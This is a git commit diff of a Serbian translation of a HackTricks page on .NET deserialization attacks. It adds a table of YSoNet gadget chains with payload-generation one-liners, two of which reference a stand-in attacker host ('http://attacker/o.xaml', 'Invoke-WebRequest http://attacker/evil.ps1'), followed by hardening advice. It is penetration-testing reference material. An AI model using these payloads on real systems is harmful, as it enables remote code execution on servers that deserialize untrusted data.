mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/basic-.net-deserializati
This commit is contained in:
parent
5c30e8779c
commit
39d79d81d4
@ -22,7 +22,7 @@ Kao što možete primetiti, kada je `MethodName` postavljen, poziva se `base.Ref
|
||||
|
||||
.png>)
|
||||
|
||||
U redu, hajde da nastavimo da vidimo šta radi `this.BeginQuery()`. `BeginQuery` je prepisan od strane `ObjectDataProvider` i ovo je ono što radi:
|
||||
U redu, hajde da nastavimo i vidimo šta radi `this.BeginQuery()`. `BeginQuery` je prepisan od strane `ObjectDataProvider` i ovo je ono što radi:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -32,7 +32,7 @@ Napomena: na kraju koda poziva se `this.QueryWorke(null)`. Hajde da vidimo šta
|
||||
|
||||
Napomena: ovo nije kompletan kod funkcije `QueryWorker`, ali pokazuje zanimljiv deo: Kod **poziva `this.InvokeMethodOnInstance(out ex);`** ovo je linija gde se **metoda postavlja**.
|
||||
|
||||
Ako želite da proverite da samo postavljanje _**MethodName**_ **će biti izvršeno**, možete pokrenuti ovaj kod:
|
||||
Ako želite da proverite da samo postavljanje _**MethodName**_** će biti izvršeno**, možete pokrenuti ovaj kod:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -56,10 +56,10 @@ Napomena da je potrebno dodati kao referencu _C:\Windows\Microsoft.NET\Framework
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Koristeći prethodni exploit, biće slučajeva gde će **objekat** biti **deserijalizovan kao** instanca _**ObjectDataProvider**_ (na primer u DotNetNuke vulnu, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). Tada, neće imati **znanje o tipu objekta koji je obavijen** u instanci _ObjectDataProvider_ (`Process`, na primer). Možete pronaći više [informacija o DotNetNuke vulnu ovde](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
Koristeći prethodni exploit, biće slučajeva gde će **objekat** biti **deserijalizovan kao** _**ObjectDataProvider**_ instanca (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). Tada, neće imati **nikakvo znanje o tipu objekta koji je obavijen** u _ObjectDataProvider_ instanci (`Process` na primer). Možete pronaći više [informacija o DotNetNuke vuln ovde](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Ova klasa omogućava **da se odrede tipovi objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa se može koristiti za enkapsulaciju izvornog objekta (_ObjectDataProvider_) u novi tip objekta i pružanje svojstava koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
|
||||
Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da **obavijemo \_ObjectDataProvider**_** unutar instancu **_**ExpandedWrapper** \_ i **kada se deserijalizuje** ova klasa će **kreirati** objekat _**OjectDataProvider**_ koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_.
|
||||
Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da **obavijemo \_ObjectDataProvider**_** unutar **_**ExpandedWrapper** \_ instance i **kada se deserijalizuje** ova klasa će **kreirati** _**OjectDataProvider**_ objekat koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_.
|
||||
|
||||
Možete proveriti ovaj wrapper sa sledećim kodom:
|
||||
```java
|
||||
@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## Napredni .NET Gadget Lanci (YSoNet & ysoserial.net)
|
||||
|
||||
Tehnika ObjectDataProvider + ExpandedWrapper koja je predstavljena iznad je samo jedan od MNOŠTVO gadget lanaca koji se mogu zloupotrebiti kada aplikacija izvršava **nesigurnu .NET deserializaciju**. Moderni alati za crvene timove kao što su **[YSoNet](https://github.com/irsdl/ysonet)** (i stariji [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizuju kreiranje **spreman za upotrebu malicioznih objekata** za desetine gadgeta i formata serijalizacije.
|
||||
|
||||
Ispod je sažeta referenca najkorisnijih lanaca koji dolaze sa *YSoNet* zajedno sa brzim objašnjenjem kako funkcionišu i primerima komandi za generisanje payload-a.
|
||||
|
||||
| Gadget Lanac | Ključna Ideja / Primitiv | Uobičajeni Serijalizatori | YSoNet jednosmerna komanda |
|
||||
|--------------|--------------------------|--------------------------|----------------------------|
|
||||
| **TypeConfuseDelegate** | Kvari `DelegateSerializationHolder` zapis tako da, kada se materijalizuje, delegat pokazuje na *bilo koju* metodu koju napadač obezbedi (npr. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Zloupotrebljava `System.Workflow.ComponentModel.ActivitySurrogateSelector` da *obiđe .NET ≥4.8 filtriranje tipova* i direktno pozove **konstruktor** obezbeđene klase ili **kompajlira** C# datoteku u hodu | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Iskorišćava **legacy XML** reprezentaciju `System.Data.DataSet` da instancira proizvoljne tipove popunjavanjem `<ColumnMapping>` / `<DataType>` polja (opciono lažirajući skup sa `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Na WPF omogućenom runtime-u (> .NET 5) povezuje property gettere dok ne dođe do `System.CodeDom.Compiler.CompilerResults`, zatim *kompajlira* ili *učitava* DLL obezbeđen sa `-c` | `Json.NET` bez tipa, `MessagePack` bez tipa | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (pregled) | Koristi WPF `System.Windows.Data.ObjectDataProvider` da pozove proizvoljnu statičku metodu sa kontrolisanim argumentima. YSoNet dodaje zgodnu varijantu `--xamlurl` za hostovanje malicioznog XAML-a na daljinu | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Ugrađuje `ScriptBlock` u `System.Management.Automation.PSObject` koji se izvršava kada PowerShell deserializuje objekat | PowerShell daljinsko upravljanje, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> Svi payload-i su **podrazumevano napisani u *stdout***, što olakšava preusmeravanje u druge alate (npr. ViewState generatori, base64 enkoderi, HTTP klijenti).
|
||||
|
||||
### Izgradnja / Instalacija YSoNet
|
||||
|
||||
Ako nema dostupnih prethodno kompajliranih binarnih datoteka pod *Actions ➜ Artifacts* / *Releases*, sledeća **PowerShell** jednosmerna komanda će postaviti okruženje za izgradnju, klonirati repozitorijum i kompajlirati sve u *Release* modu:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||||
|
||||
git clone https://github.com/irsdl/ysonet
|
||||
cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
Kompilirani `ysonet.exe` se može naći pod `ysonet/bin/Release/`.
|
||||
|
||||
### Detekcija i Ojačavanje
|
||||
* **Detektujte** neočekivane podprocese `w3wp.exe`, `PowerShell.exe`, ili bilo koji proces koji deserializuje podatke koje je korisnik dostavio (npr. `MessagePack`, `Json.NET`).
|
||||
* Omogućite i **sprovodite filtriranje tipova** (`TypeFilterLevel` = *Full*, prilagođeni `SurrogateSelector`, `SerializationBinder`, *itd.*) kada god se legendarni `BinaryFormatter` / `NetDataContractSerializer` ne može ukloniti.
|
||||
* Gde je moguće, migrirajte na **`System.Text.Json`** ili **`DataContractJsonSerializer`** sa konvertorima zasnovanim na belim listama.
|
||||
* Blokirajte opasne WPF biblioteke (`PresentationFramework`, `System.Workflow.*`) da se učitavaju u web procesima koji ih nikada ne bi trebali koristiti.
|
||||
|
||||
## Reference
|
||||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user